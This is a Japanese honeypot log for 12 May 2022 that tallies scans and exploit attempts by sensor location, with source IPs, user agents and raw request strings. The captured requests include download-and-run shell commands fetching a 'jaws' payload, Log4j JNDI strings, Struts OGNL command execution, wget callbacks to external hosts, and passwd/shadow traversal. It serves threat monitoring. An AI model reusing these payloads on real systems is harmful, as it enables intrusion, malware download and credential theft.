ハニーポット(仮) 観測記録 2022/05/12分です。
特徴
共通
GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
Location:JP
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
Apache Struts 2の脆弱性(CVE-2020-17530)を狙うアクセス
Apache Struts 2の脆弱性(S2-008)を狙うアクセス
Comodo Firewallの脆弱性(CVE-2018-17431)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
FCKEditorの脆弱性を狙うアクセス
HP LinuxKIの脆弱性を狙うアクセス
Movable Typeの脆弱性(CVE-2021-20837)を狙うアクセス
Seagate BlackArmor NASの脆弱性(CVE-2014-3205)を狙うアクセス
Seagate BlackArmor NASの脆弱性(CVE-2014-3206)を狙うアクセス
Spring Frameworkの脆弱性(CVE-2022-22965)を狙うアクセス
TerraMaster TOSの脆弱性(CVE-2020-28188)を狙うアクセス
YeaLink DMの脆弱性(CVE-2021-27561)を狙うアクセス
zgrabによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
5.188.210.227に関する不正通信
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget cs9archive.cf/jaws; sh /tmp/jaws
Location:US
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
.cssへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。
Location:UK
Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信
を確認しました。
Location:SG
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget jx.qingdaosheng.com/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget v1.kannimanelaji.com/jaws; sh /tmp/jaws
他
アクセス数推移
JP：総アクセス数：162 (前日比：85)
US：総アクセス数：73 (前日比：8)
UK：総アクセス数：148 (前日比：111)
SG：総アクセス数：66 (前日比：-9)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 71 | 3.239.96.225 | United States |
| 1 | 5.188.210.227 | Russia |
| 1 | 5.252.194.39 | Russia |
| 1 | 13.231.123.130 | United States |
| 1 | 20.22.223.132 | United States |
| 1 | 20.106.187.248 | United States |
| 1 | 20.126.42.244 | United States |
| 1 | 20.239.173.152 | United States |
| 1 | 20.243.24.173 | United States |
| 4 | 23.224.186.79 | United States |
| 1 | 31.44.185.235 | Russia |
| 14 | 40.77.5.230 | United States |
| 3 | 40.82.192.115 | United States |
| 1 | 40.113.247.75 | United States |
| 1 | 45.61.188.169 | United States |
| 1 | 45.134.144.140 | Hong Kong |
| 1 | 45.153.243.151 | Germany |
| 5 | 50.31.21.5 | United States |
| 1 | 79.11.36.155 | Italy |
| 1 | 95.32.78.205 | Russia |
| 15 | 95.214.235.205 | Ukraine |
| 2 | 109.237.103.38 | Russia |
| 1 | 128.1.248.42 | United States |
| 12 | 135.125.246.110 | France |
| 1 | 137.184.87.186 | United States |
| 1 | 139.162.145.250 | Netherlands |
| 1 | 142.93.194.204 | United States |
| 2 | 157.245.70.127 | United States |
| 1 | 159.203.172.125 | United States |
| 1 | 163.172.88.201 | United Kingdom |
| 1 | 178.159.11.18 | United Kingdom |
| 8 | 185.254.196.217 | Ukraine |
| 1 | 192.3.118.129 | United States |
| 1 | 192.241.221.59 | United States |
| 1 | 198.235.24.159 | United States |
| 1 | 205.210.31.159 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 1 | ${jndi:ldap://127[.]0[.]0[.]1#.${hostName}.useragent.c9tl1qg45cabor0000104z57445euyime.oast.live} |
| 18 | - |
| 3 | Go-http-client/1.1 |
| 1 | Googlebot/2.1 (+http[:]//www[.]google[.]com/bot.html) |
| 1 | MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 |
| 1 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) |
| 2 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
| 3 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 |
| 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 |
| 5 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4217.2 Safari/537.36 |
| 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 |
| 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 |
| 3 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 |
| 3 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 |
| 3 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 |
| 3 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 4 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 |
| 4 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36 |
| 3 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F |
| 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 |
| 45 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 4 | Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 |
| 3 | Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36 |
| 12 | Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 1 | Mozilla/5.0 zgrab/0.x |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.62.1.el7.x86_64 |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_18.179.20.5_80\n |
||
| 1 | \x16\x03\x01\x01C\x01 |
||
| 1 | \x16\x03\x01\x02 |
||
| 3 | \x16\x03\x01 |
||
| 1 | GET | /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bwget,http[:]//c9tl1qg45cabor000010sfjb9kdzwo3p8[.]oast[.]live%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bwget,http[:]//c9tl1qg45cabor000010m9kgh54957map[.]oast[.]live%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
HTTP/1.1 |
| 1 | GET | /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bwget,http[:]//c9tl1qg45cabor000010obz3cxp3fjmz3[.]oast[.]live%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bwget,http[:]//c9tl1qg45cabor000010hsh7xy95rohhi[.]oast[.]live%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
HTTP/1.1 |
| 1 | GET | /../../../mnt/mtd/Config/Account1 |
HTTP/1.1 |
| 49 | GET | /.env |
HTTP/1.1 |
| 2 | GET | ///.env |
HTTP/1.1 |
| 1 | GET | /?author=1 |
HTTP/1.1 |
| 1 | GET | /?class.module.classLoader.resources.context.configFile=https[:]//c9tl1qg45cabor000010fmw5zd59tht89[.]oast[.]live&class.module.classLoader.resources.context.configFile.content.aaa=xxx |
HTTP/1.1 |
| 1 | GET | /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D |
HTTP/1.1 |
| 1 | GET | /?x=${jndi:ldap://127[.]0[.]0[.]1 |
HTTP/1.1 |
| 1 | GET | /HNAP1 |
HTTP/1.1 |
| 1 | GET | /SWNetPerfMon.db.i18n.ashx?l=nuclei&v=nuclei |
HTTP/1.1 |
| 1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /ab2g |
HTTP/1.1 |
| 1 | GET | /ab2h |
HTTP/1.1 |
| 1 | GET | /admin/ |
HTTP/1.1 |
| 1 | GET | /admin/includes/general.js |
HTTP/1.1 |
| 1 | GET | /admin/view/javascript/common.js |
HTTP/1.1 |
| 1 | GET | /administrator/ |
HTTP/1.1 |
| 1 | GET | /administrator/help/en-GB/toc.json |
HTTP/1.1 |
| 1 | GET | /administrator/language/en-GB/install.xml |
HTTP/1.1 |
| 1 | GET | /api.php?key=1&apikey=1 |
HTTP/1.1 |
| 1 | GET | /api/290T4P3FpoX6ViAMFAzpX8OFxSc |
HTTP/1.1 |
| 1 | GET | /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com |
HTTP/1.1 |
| 1 | GET | /autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com |
HTTP/1.1 |
| 1 | GET | /backupmgt/localJob.php?session=fail;wget http[:]//c9tl1qg45cabor000010rxutc7qmbu7sy[.]oast[.]live; |
|
| 1 | GET | /backupmgt/pre_connect_check.php?auth_name=fail;wget http[:]//c9tl1qg45cabor000010sfjn917b1iard[.]oast[.]live; |
|
| 1 | GET | /bag2 |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=user&psd=user |
HTTP/1.0 |
| 1 | GET | /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd |
HTTP/1.1 |
| 1 | GET | /cgi-bin/login?LD_DEBUG=files |
HTTP/1.1 |
| 1 | GET | /config/getuser?index=0 |
HTTP/1.1 |
| 1 | GET | /console/login/LoginForm.jsp |
HTTP/1.1 |
| 1 | GET | /crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow |
HTTP/1.1 |
| 1 | GET | /devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream())) |
HTTP/1.1 |
| 1 | GET | /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\"; |
HTTP/1.1 |
| 1 | GET | /evox/about |
HTTP/1.1 |
| 1 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media |
HTTP/1.1 |
| 1 | GET | /images/editor/separator.gif |
HTTP/1.1 |
| 1 | GET | /include/makecvs.php?Event=%60wget%20http%3A%2F%2Fc9tl1qg45cabor000010yi3977d1pddm5[.]oast[.]live%60 |
HTTP/1.1 |
| 1 | GET | /js/header-rollup-554.js |
HTTP/1.1 |
| 1 | GET | /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; |
HTTP/1.1 |
| 1 | GET | /login/ |
HTTP/1.1 |
| 1 | GET | /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 |
HTTP/1.1 |
| 1 | GET | /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 |
HTTP/1.1 |
| 1 | GET | /misc/ajax.js |
HTTP/1.1 |
| 1 | GET | /nmaplowercheck1652235425 |
HTTP/1.1 |
| 1 | GET | /oam/server/opensso/sessionservice |
HTTP/1.1 |
| 1 | GET | /owa/auth/x.js |
HTTP/1.1 |
| 1 | GET | /plugins/system/debug/debug.xml |
HTTP/1.1 |
| 1 | GET | /premise/front/getPingData?url=http[:]//0[.]0[.]0[.]0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id; |
HTTP/1.1 |
| 1 | GET | /public/css/290T4HUrYZkpxwjBUUCUE5Bqeze.css |
HTTP/1.1 |
| 1 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /sap/admin/public/default.html |
HTTP/1.1 |
| 1 | GET | /sap/public/bc/ur/Login/assets/corbu/sap_logo.png |
HTTP/1.1 |
| 1 | GET | /search.php?search=%22;wget+http%3A%2F%2Fc9tl1qg45cabor000010d4fr1sk4ky48f[.]oast[.]live%27;%22 |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ cs9archive.cf/jaws;sh+/tmp/jaws |
|
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | /tests/support/stores/test_grid_filter.php?query=phpinfo(); |
HTTP/1.1 |
| 1 | GET | /tos/index.php?explorer/pathList&path=%60wget%20http%3A%2F%2Fc9tl1qg45cabor000010tz6pzqetkrd1u[.]oast[.]live%60 |
HTTP/1.1 |
| 1 | GET | /ucmdb-api/connect |
HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/build.xml |
HTTP/1.1 |
| 1 | GET | /web.config.i18n.ashx?l=nuclei&v=nuclei |
HTTP/1.1 |
| 1 | GET | /webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E |
HTTP/1.1 |
| 1 | GET | /webadmin/out |
HTTP/1.1 |
| 1 | GET | /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 |
HTTP/1.1 |
| 1 | GET | /wp-includes/js/jquery/jquery.js |
HTTP/1.1 |
| 1 | GET | /x |
HTTP/1.1 |
| 1 | GET | /yuuki?pp=env |
HTTP/1.1 |
| 1 | GET | http[:]//5[.]188[.]210[.]227/echo.php |
HTTP/1.1 |
| 1 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /robots.txt |
HTTP/1.0 |
| 1 | POST | /.%0d./.%0d./.%0d./.%0d./bin/sh |
HTTP/1.1 |
| 1 | POST | /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData |
HTTP/1.1 |
| 2 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
| 1 | POST | /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING |
HTTP/1.1 |
| 1 | POST | /_search |
HTTP/1.1 |
| 2 | POST | /api/jsonws/invoke |
HTTP/1.1 |
| 1 | POST | /apisix/batch-requests |
HTTP/1.1 |
| 3 | POST | /apply_sec.cgi |
HTTP/1.1 |
| 1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /boardDataWW.php |
HTTP/1.1 |
| 1 | POST | /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh |
HTTP/1.1 |
| 1 | POST | /cgi-bin/file_transfer.cgi |
HTTP/1.1 |
| 1 | POST | /cgi-bin/login.cgi |
HTTP/1.1 |
| 1 | POST | /cgi-bin/mainfunction.cgi |
HTTP/1.1 |
| 1 | POST | /cgi-bin/mt/mt-xmlrpc.cgi |
HTTP/1.1 |
| 1 | POST | /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users |
HTTP/1.1 |
| 1 | POST | /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=wget` |
HTTP/1.1 |
| 1 | POST | /cgi-bin/system_mgr.cgi? |
HTTP/1.1 |
| 1 | POST | /checkValid |
HTTP/1.1 |
| 1 | POST | /goform/setmac |
HTTP/1.1 |
| 1 | POST | /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input |
HTTP/1.1 |
| 1 | POST | /javax.faces.resource/dynamiccontent.properties.xhtml |
HTTP/1.1 |
| 1 | POST | /login |
HTTP/1.1 |
| 1 | POST | /run |
HTTP/1.1 |
| 1 | POST | /sdk |
HTTP/1.1 |
| 1 | POST | /service/extdirect |
HTTP/1.1 |
| 1 | POST | /storfs-asup |
HTTP/1.1 |
| 1 | POST | /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData |
HTTP/1.1 |
| 1 | POST | /upload |
HTTP/1.1 |
| 1 | POST | /website/blog/ |
HTTP/1.1 |
| 1 | PUT | /SDK/webLanguage |
HTTP/1.1 |
Location:US
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 20.55.248.111 | United States |
| 1 | 20.119.226.158 | United States |
| 1 | 20.213.77.148 | United States |
| 1 | 20.228.251.196 | United States |
| 1 | 20.239.173.152 | United States |
| 1 | 20.243.24.173 | United States |
| 4 | 23.225.180.204 | United States |
| 1 | 27.47.40.111 | China |
| 1 | 40.69.165.68 | United States |
| 1 | 40.113.200.245 | United States |
| 10 | 45.9.20.101 | Russia |
| 1 | 45.61.188.169 | United States |
| 1 | 45.144.112.133 | United Kingdom |
| 1 | 45.153.243.151 | Germany |
| 2 | 45.227.254.26 | Belize |
| 9 | 51.79.29.48 | Canada |
| 1 | 80.94.93.125 | Romania |
| 2 | 89.248.165.24 | United Kingdom |
| 2 | 109.237.103.38 | Russia |
| 2 | 109.237.103.123 | Russia |
| 1 | 112.94.97.25 | China |
| 1 | 128.14.209.162 | United States |
| 1 | 137.184.126.182 | United States |
| 1 | 139.162.145.250 | Netherlands |
| 1 | 142.93.194.204 | United States |
| 1 | 147.124.217.39 | United States |
| 1 | 156.146.57.130 | United Kingdom |
| 1 | 162.142.125.7 | United States |
| 1 | 163.172.88.201 | United Kingdom |
| 1 | 167.94.145.58 | United States |
| 1 | 167.248.133.61 | United States |
| 2 | 172.245.20.219 | United States |
| 1 | 178.128.251.158 | United States |
| 1 | 178.159.11.18 | United Kingdom |
| 9 | 185.254.196.223 | Ukraine |
| 1 | 190.180.154.120 | Argentina |
| 1 | 192.241.222.99 | United States |
| 1 | 198.235.24.2 | United States |
| 1 | 198.235.24.135 | United States |
| 1 | 209.141.41.193 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 18 | - |
| 3 | Go-http-client/1.1 |
| 2 | Googlebot/2.1 (+http[:]//www[.]google[.]com/bot.html) |
| 1 | Hello, World |
| 1 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) |
| 3 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 31 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.62.1.el7.x86_64 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_34.68.118.83_80\n |
||
| 4 | \x03 |
||
| 1 | \x16\x03\x01\x01C\x01 |
||
| 1 | \x16\x03\x01\x01D\x01 |
||
| 3 | \x16\x03\x01 |
||
| 34 | GET | /.env |
HTTP/1.1 |
| 1 | GET | ///.env |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
| 1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /admin/ |
HTTP/1.1 |
| 2 | GET | /api.php?key=1&apikey=1 |
HTTP/1.1 |
| 1 | GET | /bag2 |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=admin&psd=admin |
HTTP/1.0 |
| 1 | GET | /config/getuser?index=0 |
HTTP/1.1 |
| 1 | GET | /console/ |
HTTP/1.1 |
| 1 | GET | /css/home.css |
